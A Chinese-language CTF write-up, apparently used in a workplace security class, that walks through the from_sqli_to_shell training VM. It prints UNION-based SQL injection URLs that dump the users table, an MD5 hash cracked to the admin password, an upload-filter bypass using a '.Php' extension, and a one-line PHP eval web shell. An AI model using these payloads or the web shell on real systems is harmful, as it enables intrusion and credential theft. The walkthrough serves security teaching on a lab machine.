CTF Writeup: from_sqli_to_shell_i386

CTF Writeup: from_sqli_to_shell_i386

今天给单位的小年轻讲网络安全课程,用了 from_sqli_to_shell_i386 这个靶机。题目简单,iso 文件又小,很适合入门。

这个靶机上有一个网站。先找到网站的 SQL 注入点;然后通过 SQL 注入获取 admin 帐号密码;再使用 admin 用户登录,发现有文件上传的模块;通过文件上传漏洞上传木马文件,获取系统执行权限。Done 👌

 

贴一下详细的解题过程:

1. 先用下载到的 from_sqli_to_shell_i386.iso 文件新建一个虚拟机

2. 进入虚拟机,使用 ifconfig 命令获取 IP 地址

3. 使用浏览器访问虚拟机 IP,发现是一个网站。

4. 现在 admin 菜单中,尝试在用户登录页面使用 SQL 注入不成功,应该是做了过滤。

5. 在 cat.php 页面,发现疑似注入点。

6. 先探测它的 select 结果有几列
http://192.168.78.128/cat.php?id=2 order by 9
http://192.168.78.128/cat.php?id=2 order by 4

只有 1234 时候不出错,所以肯定它的 select 语句选择了 4 列字段

7. 测试联合查询注入
http://192.168.78.128/cat.php?id=2 union select 1, 2, 3, 4

发现 2 被显示出来了!

接下来我们就可以把 2 换成要注入的查询语句!

8. 注入攻击,查询数据库名字
http://192.168.78.128/cat.php?id=2 union select 1, database(), 3, 4

返回数据库名 photoblog

9. 查询表名
http://192.168.78.128/cat.php?id=2 union select 1, (Select group_concat(table_name) from information_schema.tables where table_schema=database()), 3, 4

返回 categories, pictures, users

我们要的用户信息一定在 users 表

10. 查询 users 表的列名
http://192.168.78.128/cat.php?id=2 union select 1, (Select group_concat(column_name) from information_schema.columns where table_name='users'), 3, 4

返回 id, login, password

11. 查询表的内容
http://192.168.78.128/cat.php?id=2 union select 1, (Select GROUP_CONCAT(id,'-',login,'-',password) from users), 3, 4

如果有多个用户,由于回显只显示一个结果。
可以加 limit、offset 参数
Select GROUP_CONCAT(id,'-',login,'-',password) from users limit 1 offset 1

返回用户密码: 1, admin, 8efe310f9ab3efeae8d410a8e0166eb2

密码拿去做 md5 解密 8efe310f9ab3efeae8d410a8e0166eb2 >> P4ssw0rd

12. 使用 admin/P4ssw0rd 帐号登录管理后台

13. 发现有上传图片的模块,应该是有文件上传漏洞

14. 上传图片成功;再尝试上传随便一个 php 文件,发现上传失败;尝试使用 .Php 后缀,发现上传成功。

然后上传我们的木马文件 shell.Php:

<?php
    @eval($_GET['cmd']);
?>

15. 找到上传后的文件路径,直接访问上传的木马文件即可 getshell

Leave a Reply

Your email address will not be published. Required fields are marked *